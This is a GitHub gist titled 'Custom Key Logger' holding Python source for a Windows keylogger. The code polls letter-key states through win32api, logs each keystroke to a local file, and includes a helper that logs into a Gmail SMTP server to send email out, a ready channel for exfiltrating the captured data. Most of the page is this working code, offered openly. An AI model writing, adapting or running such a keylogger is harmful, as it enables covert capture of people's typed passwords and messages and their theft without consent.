Skip to content

Instantly share code, notes, and snippets.

@back-seat-driver
Last active July 25, 2017 22:36
Show Gist options
  • Save back-seat-driver/ae53c792e6c21264e1361fa0d29c289a to your computer and use it in GitHub Desktop.
Save back-seat-driver/ae53c792e6c21264e1361fa0d29c289a to your computer and use it in GitHub Desktop.
Custom Key Logger
import win32api
def name_return():
#Will return computer str name
return(win32api.GetComputerName())
def send_email():
import smtplib
from email.MIMEMultipart import MIMEMultipart
from email.MIMEText import MIMEText
msg = MIMEMultipart()
msg['From'] = '[email protected]'
msg['To'] = '[email protected]'
msg['Subject'] = 'simple email in python'
message = 'here is the email'
msg.attach(MIMEText(message))
mailserver = smtplib.SMTP('smtp.gmail.com',587)
# identify ourselves to smtp gmail client
mailserver.ehlo()
# secure our email with tls encryption
mailserver.starttls()
# re-identify ourselves as an encrypted connection
mailserver.ehlo()
mailserver.login('[email protected]', '')
mailserver.sendmail('[email protected]','[email protected]',msg.as_string())
mailserver.quit()
def write():
with open("VALT.txt", "w") as f:
for i in reg:
f.write(str(i) + "\n")
#Method will by pass need for pyhook
reg=[None]
while True==True:
insert=[reg[-1]]
for i in range(65,91):
if win32api.GetAsyncKeyState(i) < 0:
if insert[0]!=i:
insert[0]=i
if insert[0]!=reg[-1]:
reg.append(insert[0])
write()
##from subprocess import Popen
##p=Popen("test.bat",cwd=r"C:\Anaconda3")
#To Open
##def open_return():
## to_return=[]
## with open("VALT.py","r") as f:
## for line in f:
## to_return.append(line.strip())
## return(to_return)
##
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment